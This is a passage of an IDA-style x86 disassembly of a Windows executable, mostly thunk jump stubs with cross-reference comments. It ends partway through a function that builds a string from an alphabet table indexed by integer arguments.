		jmp	loc_40A950
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_41B060:loc_41B0ACp
					; sub_41B950+54p ...
		jmp	sub_4198A0
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF1	proc near		; CODE XREF: ___:004142C5p
		jmp	sub_415490
sub_401EF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF6	proc near		; CODE XREF: sub_4156C0+34p
					; sub_4161C0+67p
		jmp	sub_416360
sub_401EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EFB	proc near		; CODE XREF: sub_4152F0+3p
					; ___:00415A4Fp ...
		jmp	sub_415D00
sub_401EFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F00	proc near
		jmp	sub_412C10
sub_401F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F05	proc near		; CODE XREF: sub_413120+4Dp
		jmp	sub_415370
sub_401F05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F0A	proc near		; CODE XREF: sub_4070F0+5Cp
					; sub_418E60+3p
		jmp	sub_407310
sub_401F0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F0F	proc near		; CODE XREF: ___:00419103p
		jmp	sub_419170
sub_401F0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F14	proc near		; CODE XREF: ___:0040BF1Ap
		jmp	sub_40C250
sub_401F14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F19	proc near		; CODE XREF: ___:0042B15Fp
		jmp	sub_42ADB0
sub_401F19	endp

; ---------------------------------------------------------------------------


loc_401F1E:				; DATA XREF: ___:off_43E08Co
		jmp	loc_4348A0
; ---------------------------------------------------------------------------


loc_401F23:				; DATA XREF: ___:004240B4o
		jmp	loc_423C10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F28	proc near		; CODE XREF: ___:00416A6Bp
					; ___:00439F50j ...
		jmp	sub_417A40
sub_401F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F2D	proc near		; CODE XREF: sub_413B70+99p
		jmp	sub_413D40
sub_401F2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F32	proc near		; CODE XREF: sub_40B390+3Dp
					; ___:0040BB2Dp ...
		jmp	sub_40B700
sub_401F32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F37	proc near		; CODE XREF: ___:loc_423CA7p
		jmp	sub_423720
sub_401F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F3C	proc near		; CODE XREF: sub_404C70+A3Ep
		jmp	sub_406890
sub_401F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F41	proc near		; DATA XREF: ___:off_43E1A0o
		jmp	sub_42B350
sub_401F41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F46	proc near		; CODE XREF: sub_4139B0+72p
		jmp	sub_413670
sub_401F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F4B	proc near		; CODE XREF: sub_418330+5Fp
					; sub_418940+1Ap ...
		jmp	sub_4189B0
sub_401F4B	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EFA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F55	proc near		; CODE XREF: sub_42E400+B5p
		jmp	sub_42D2C0
sub_401F55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F5A	proc near		; CODE XREF: sub_40B520+4Bp
					; sub_40B520:loc_40B5ABp ...
		jmp	sub_40BE40
sub_401F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401F5F	proc near
		jmp	sub_41E400
sub_401F5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F64	proc near		; CODE XREF: sub_40A430+142p
		jmp	sub_40A810
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F69	proc near		; CODE XREF: sub_404640+35Dp
					; sub_404640+39Ep
		jmp	sub_404B10
sub_401F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F6E	proc near		; CODE XREF: sub_415DD0+9p
					; sub_415E70+18p
		jmp	sub_4166D0
sub_401F6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F73	proc near		; CODE XREF: sub_431B30+1Bp
		jmp	sub_431BE0
sub_401F73	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AFD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F7D	proc near		; CODE XREF: sub_426450+1Dp
					; sub_4269A0+1Dp ...
		jmp	sub_4264C0
sub_401F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F82	proc near		; CODE XREF: sub_427DC0+1Dp
					; sub_428160+1Fp ...
		jmp	sub_427E30
sub_401F82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F87	proc near		; CODE XREF: ___:00429D73p
		jmp	sub_429DA0
sub_401F87	endp

; ---------------------------------------------------------------------------
		jmp	loc_406BD0
; ---------------------------------------------------------------------------
		jmp	loc_40D460

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F96	proc near		; CODE XREF: sub_409600+112p
					; sub_409600+153p
		jmp	sub_409940
sub_401F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401F9B	proc near		; CODE XREF: sub_422600+5p
		jmp	sub_422770
sub_401F9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA0	proc near		; CODE XREF: sub_407340+5p
		jmp	sub_4074F0
sub_401FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FA5	proc near		; CODE XREF: sub_413670+6Fp
					; sub_413670+DBp ...
		jmp	sub_4152F0
sub_401FA5	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B830

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FAF	proc near		; CODE XREF: sub_415210+5Ep
					; sub_415BE0+32p
		jmp	sub_415B20
sub_401FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB4	proc near
		jmp	sub_40F030
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FB9	proc near		; CODE XREF: sub_412B20+3p
		jmp	sub_412B50
sub_401FB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FBE	proc near		; CODE XREF: sub_404640+48p
					; sub_404640+5Dp ...
		jmp	sub_409D20
sub_401FBE	endp

; ---------------------------------------------------------------------------
		jmp	loc_419950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FC8	proc near		; CODE XREF: sub_41A0E0+3p
					; sub_41B040+9j ...
		jmp	sub_41A110
sub_401FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FCD	proc near		; CODE XREF: sub_40BCB0+34p
					; sub_40C120+67p
		jmp	sub_40C040
sub_401FCD	endp

; ---------------------------------------------------------------------------
		jmp	loc_432690
; ---------------------------------------------------------------------------


loc_401FD7:				; DATA XREF: ___:off_43E094o
		jmp	loc_435280

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FDC	proc near
		jmp	sub_40F0B0
sub_401FDC	endp

; ---------------------------------------------------------------------------
		jmp	loc_436300
; ---------------------------------------------------------------------------


loc_401FE6:				; DATA XREF: ___:0043E03Co
		jmp	loc_41EDB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FEB	proc near		; CODE XREF: sub_41F860+5Ap
		jmp	sub_41FF40
sub_401FEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_430380

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FF5	proc near		; CODE XREF: ___:00416A2Bp
					; ___:00439F88j ...
		jmp	sub_417B00
sub_401FF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401FFA	proc near		; CODE XREF: ___:00416D7Fp
		jmp	sub_413120
sub_401FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401FFF	proc near		; CODE XREF: sub_421A80+5p
		jmp	sub_421F80
sub_401FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402004	proc near		; CODE XREF: ___:00421654p
		jmp	sub_41BFA0
sub_402004	endp

; ---------------------------------------------------------------------------
off_402009	dd offset byte_4BC2E9	; DATA XREF: ___:off_43E008o
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40200E	proc near		; CODE XREF: sub_404640+2CEp
					; sub_404C70+472p ...
		jmp	sub_40A670
sub_40200E	endp

; ---------------------------------------------------------------------------
		jmp	loc_433120
; ---------------------------------------------------------------------------
		jmp	sub_41B3D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40201D	proc near		; CODE XREF: sub_422370+Ap
		jmp	sub_422650
sub_40201D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402022	proc near		; CODE XREF: sub_404C70+7EAp
		jmp	sub_41B950
sub_402022	endp

; ---------------------------------------------------------------------------


loc_402027:				; DATA XREF: ___:off_43E014o
		jmp	loc_40ADE0
; ---------------------------------------------------------------------------


loc_40202C:				; DATA XREF: ___:off_43E088o
		jmp	loc_42BE60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402031	proc near		; CODE XREF: ___:0040ADE3p
					; ___:0040FEDEp ...
		jmp	sub_40AE10
sub_402031	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402036	proc near		; CODE XREF: sub_424840+109p
					; sub_424840+178p ...
		jmp	sub_424720
sub_402036	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40203B	proc near		; CODE XREF: sub_4098E0+7p
		jmp	sub_4099D0
sub_40203B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402040	proc near		; CODE XREF: sub_416660+Ap
		jmp	sub_416870
sub_402040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402045	proc near
		jmp	sub_40CB10
sub_402045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204A	proc near		; CODE XREF: ___:0042EEEBp
					; sub_42FDD0+EAp
		jmp	sub_433030
sub_40204A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40204F	proc near		; CODE XREF: sub_421960+5p
					; sub_421A50+6p ...
		jmp	sub_421EF0
sub_40204F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402054	proc near		; CODE XREF: sub_40FF60+8ADp
					; sub_40FF60+95Ep ...
		jmp	sub_411990
sub_402054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402059	proc near		; CODE XREF: sub_40C040+7p
		jmp	sub_40C230
sub_402059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40205E	proc near		; CODE XREF: sub_418940+34p
					; sub_418E90+67p
		jmp	sub_418CA0
sub_40205E	endp

; ---------------------------------------------------------------------------
		jmp	loc_409B10
; ---------------------------------------------------------------------------


loc_402068:				; DATA XREF: ___:off_43E13Co
		jmp	loc_427FC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40206D	proc near		; CODE XREF: sub_417020+2Bp
					; sub_417020+3Bp ...
		jmp	sub_403EE0
sub_40206D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402072	proc near		; CODE XREF: sub_4097D0+14p
		jmp	sub_409830
sub_402072	endp

; ---------------------------------------------------------------------------
		jmp	loc_431FD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40207C	proc near		; CODE XREF: sub_427AD0:loc_427CDBp
		jmp	sub_4279F0
sub_40207C	endp

; ---------------------------------------------------------------------------
		jmp	sub_426650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402086	proc near		; CODE XREF: sub_418330+4Dp
		jmp	sub_418A70
sub_402086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40208B	proc near		; CODE XREF: sub_415160+5p
					; sub_415310+6p ...
		jmp	sub_415CE0
sub_40208B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402090	proc near		; CODE XREF: sub_426650+3p
		jmp	sub_426680
sub_402090	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B0F0
; ---------------------------------------------------------------------------
		jmp	loc_421620

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40209F	proc near		; CODE XREF: ___:00416D4Fp
		jmp	sub_407030
sub_40209F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A4	proc near		; CODE XREF: sub_413670+83p
					; sub_4144D0+91p ...
		jmp	sub_415310
sub_4020A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020A9	proc near		; DATA XREF: ___:0043E054o
		jmp	sub_41EF30
sub_4020A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020AE	proc near		; CODE XREF: sub_40A9F0+144p
		jmp	sub_40AD00
sub_4020AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B3	proc near		; CODE XREF: sub_42FF50+BAp
					; sub_432980+36p
		jmp	sub_4329F0
sub_4020B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020B8	proc near		; CODE XREF: sub_421DF0+23p
					; sub_422240+11p
		jmp	sub_4223E0
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020BD	proc near		; CODE XREF: sub_4220E0+4p
		jmp	sub_4224F0
sub_4020BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C2	proc near		; CODE XREF: sub_42A810+3BBp
		jmp	sub_42A440
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020C7	proc near		; CODE XREF: ___:0041A212p
		jmp	sub_41A2B0
sub_4020C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020CC	proc near		; CODE XREF: sub_416760+Ap
		jmp	sub_4168C0
sub_4020CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020D1	proc near		; DATA XREF: ___:off_43E18Co
		jmp	sub_42B2D0
sub_4020D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020D6	proc near		; CODE XREF: sub_415C70+4p
		jmp	sub_416490
sub_4020D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020DB	proc near		; CODE XREF: ___:0042F4B6p
					; ___:0042F518p ...
		jmp	sub_4337E0
sub_4020DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020E0	proc near		; CODE XREF: sub_418D20+8p
		jmp	sub_418FC0
sub_4020E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4020E5	proc near		; CODE XREF: sub_418890+34p
					; sub_418D80+67p
		jmp	sub_418BA0
sub_4020E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EA	proc near		; CODE XREF: sub_41A6D0+117p
		jmp	sub_41A860
sub_4020EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020EF	proc near		; CODE XREF: sub_415AA0+35p
		jmp	sub_416570
sub_4020EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F4	proc near		; CODE XREF: sub_404C70+45Cp
					; sub_4066E0+43p ...
		jmp	sub_409BC0
sub_4020F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4020F9	proc near		; CODE XREF: sub_40BD20+5p
					; sub_40BE60+6p ...
		jmp	sub_40C060
sub_4020F9	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402103	proc near		; CODE XREF: ___:00416E7Ap
		jmp	sub_4190B0
sub_402103	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402108	proc near		; CODE XREF: ___:00429A33p
		jmp	sub_429A60
sub_402108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40210D	proc near		; CODE XREF: sub_40FF60+F3Dp
					; sub_40FF60+1392p ...
		jmp	sub_4147D0
sub_40210D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402112	proc near		; CODE XREF: sub_4139B0+38p
					; sub_413DA0+5Fp
		jmp	sub_413510
sub_402112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402117	proc near		; CODE XREF: sub_40A130+14p
					; sub_40A160+7p ...
		jmp	sub_40A180
sub_402117	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40211C	proc near		; CODE XREF: sub_42A150+157p
		jmp	sub_429D00
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402121	proc near		; CODE XREF: sub_40ABE0+1Ap
					; sub_40AC30+1Ap
		jmp	sub_40ACA0
sub_402121	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402126	proc near		; CODE XREF: sub_415600+3p
					; ___:00415E1Fp ...
		jmp	sub_416050
sub_402126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40212B	proc near		; DATA XREF: ___:0043E02Co
		jmp	sub_40FF60
sub_40212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402130	proc near		; CODE XREF: sub_4147D0+EDp
		jmp	sub_415830
sub_402130	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B390

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213A	proc near		; CODE XREF: sub_40BE20+3p
		jmp	sub_40C0A0
sub_40213A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40213F	proc near		; CODE XREF: sub_40BEC0+11p
					; ___:0040BEE7p ...
		jmp	sub_40C1E0
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402144	proc near		; CODE XREF: sub_41E660+2C5p
		jmp	sub_4207E0
sub_402144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402149	proc near		; CODE XREF: sub_41D830+652p
		jmp	sub_41C070
sub_402149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40214E	proc near		; CODE XREF: sub_418BC0+32p
		jmp	sub_418E90
sub_40214E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402153	proc near		; CODE XREF: sub_40EC30+ACp
					; ___:0040F35Dp
		jmp	sub_40ED70
sub_402153	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402158	proc near		; CODE XREF: sub_4137E0+93p
		jmp	sub_433A20
sub_402158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40215D	proc near		; CODE XREF: sub_4151D0+1Fp
					; sub_415AA0+2Cp
		jmp	sub_415A00
sub_40215D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402162	proc near		; CODE XREF: ___:0042541Dp
		jmp	sub_4253E0
sub_402162	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_402167	proc near		; CODE XREF: sub_420530+17Dp
		jmp	sub_4219D0
sub_402167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40216C	proc near		; CODE XREF: ___:0042C261p
		jmp	sub_42A090
sub_40216C	endp

; ---------------------------------------------------------------------------


loc_402171:				; DATA XREF: ___:off_43E010o
		jmp	loc_409B10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402176	proc near		; CODE XREF: sub_40A9F0+6Ap
					; sub_40A9F0+103p
		jmp	sub_40AC30
sub_402176	endp

; ---------------------------------------------------------------------------
		jmp	loc_426620
; ---------------------------------------------------------------------------
		jmp	loc_41AC00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402185	proc near		; CODE XREF: sub_407220+16p
					; sub_407260+Bp ...
		jmp	sub_4074C0
sub_402185	endp

; ---------------------------------------------------------------------------
		jmp	loc_416CE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40218F	proc near		; CODE XREF: sub_40B000+1Bp
		jmp	sub_432AD0
sub_40218F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402194	proc near		; CODE XREF: ___:00415A5Ap
		jmp	sub_4164E0
sub_402194	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402199	proc near		; CODE XREF: sub_42F6B0+ABp
					; sub_430690+1Bp ...
		jmp	sub_430700
sub_402199	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EA90

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A3	proc near		; CODE XREF: ___:004086AAp
					; ___:004086CFp ...
		jmp	sub_4198C0
sub_4021A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021A8	proc near		; DATA XREF: ___:0043E130o
					; ___:0043E140o ...
		jmp	sub_42C710
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021AD	proc near		; CODE XREF: sub_40B520+55p
		jmp	sub_409FD0
sub_4021AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021B2	proc near		; DATA XREF: ___:off_43E14Co
		jmp	sub_428220
sub_4021B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021B7	proc near		; CODE XREF: sub_421AF0+34p
					; sub_422410+67p
		jmp	sub_422130
sub_4021B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021BC	proc near		; CODE XREF: sub_4070F0+2Cp
					; sub_4070F0+68p ...
		jmp	sub_407260
sub_4021BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_4333F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021C6	proc near		; CODE XREF: sub_41C610+1B3p
					; sub_41C610+332p ...
		jmp	sub_41D670
sub_4021C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021CB	proc near		; CODE XREF: sub_40BC70+11p
					; sub_40BEC0+1Fp
		jmp	sub_40BFF0
sub_4021CB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F5F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021D5	proc near		; CODE XREF: sub_4245F0+1Ap
					; sub_4246D0+1Bp ...
		jmp	sub_424420
sub_4021D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DA	proc near		; CODE XREF: ___:004169BBp
		jmp	sub_418940
sub_4021DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4021DF	proc near
		jmp	sub_42BB70
sub_4021DF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EC80
; ---------------------------------------------------------------------------
		jmp	loc_42EE10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021EE	proc near		; CODE XREF: sub_433160+1Bp
		jmp	sub_4331D0
sub_4021EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F3	proc near		; CODE XREF: sub_42E400+101p
		jmp	sub_42DD50
sub_4021F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4021F8	proc near		; DATA XREF: ___:off_43E00Co
		jmp	sub_4071C0
sub_4021F8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E2D0
; ---------------------------------------------------------------------------
		jmp	locret_418840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402207	proc near		; CODE XREF: sub_4036D0+25p
					; sub_4036D0+35p ...
		jmp	sub_403C90
sub_402207	endp

; ---------------------------------------------------------------------------
		jmp	loc_433100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402211	proc near		; CODE XREF: sub_418330+88p
					; sub_418330+98p
		jmp	sub_418A90
sub_402211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402216	proc near		; CODE XREF: ___:00416ABBp
					; ___:00439F0Aj ...
		jmp	sub_417770
sub_402216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40221B	proc near		; CODE XREF: sub_418AE0+5p
		jmp	sub_418D50
sub_40221B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402220	proc near		; CODE XREF: sub_414640+3p
		jmp	sub_414670
sub_402220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402225	proc near		; CODE XREF: ___:0042F2FBp
					; ___:0042FC27p ...
		jmp	sub_430AD0
sub_402225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222A	proc near		; DATA XREF: ___:off_43E11Co
		jmp	sub_427600
sub_40222A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40222F	proc near		; CODE XREF: sub_42F840+102p
					; sub_431730+5Dp ...
		jmp	sub_430810
sub_40222F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402234	proc near		; CODE XREF: sub_413510+5Cp
					; sub_413510+C0p ...
		jmp	sub_415460
sub_402234	endp

; ---------------------------------------------------------------------------
		jmp	loc_431410
; ---------------------------------------------------------------------------
		jmp	loc_42F170

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402243	proc near		; CODE XREF: sub_41D830+203p
		jmp	sub_42D0D0
sub_402243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402248	proc near		; CODE XREF: sub_42E400+148p
					; sub_42E400+173p
		jmp	sub_42DC70
sub_402248	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E1A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402252	proc near		; CODE XREF: sub_4133D0+34p
					; sub_4147D0+40p
		jmp	sub_4158F0
sub_402252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402257	proc near		; CODE XREF: sub_40CBB0+1A4p
					; sub_40CF60+ADp
		jmp	sub_40CF60
sub_402257	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E220

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402261	proc near		; CODE XREF: sub_422A40+938p
		jmp	loc_423FA0
sub_402261	endp

; ---------------------------------------------------------------------------
		jmp	loc_419A90
; ---------------------------------------------------------------------------


loc_40226B:				; CODE XREF: ___:00438CE6j
		jmp	loc_40CEE0
; ---------------------------------------------------------------------------
		db 1270h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4034E0	proc near		; CODE XREF: sub_4019B5j

var_46C		= dword	ptr -46Ch
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_438		= byte ptr -438h
var_420		= byte ptr -420h
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_4034E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 460h
		mov	eax, [esp+46Ch+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+478h+var_408], eax
		mov	eax, [esp+478h+arg_8]
		xor	edi, edi
		mov	esi, 1
		cmp	eax, edi
		mov	[esp+478h+var_46C], edi
		jz	short loc_403539
		lea	edx, [esp+478h+arg_8]
		lea	ecx, [esp+478h+var_404]


loc_40352A:				; CODE XREF: sub_4034E0+57j
		add	edx, 4
		mov	[ecx], eax
		inc	esi
		add	ecx, 4
		mov	eax, [edx]
		cmp	eax, edi
		jnz	short loc_40352A


loc_403539:				; CODE XREF: sub_4034E0+3Dj
		lea	ecx, [esp+478h+var_468]
		mov	[esp+esi*4+478h+var_408], edi
		call	sub_401424
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+47Ch+var_438]
		mov	[esp+47Ch+var_4], 1
		call	sub_401861
		push	offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
		lea	ecx, [esp+47Ch+var_468]
		mov	byte ptr [esp+47Ch+var_4], 2
		call	sub_401A87
		push	offset byte_446F70
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401861
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_403591:				; CODE XREF: sub_4034E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_4035E7
		lea	ecx, [esp+478h+var_438]
		call	sub_401681
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
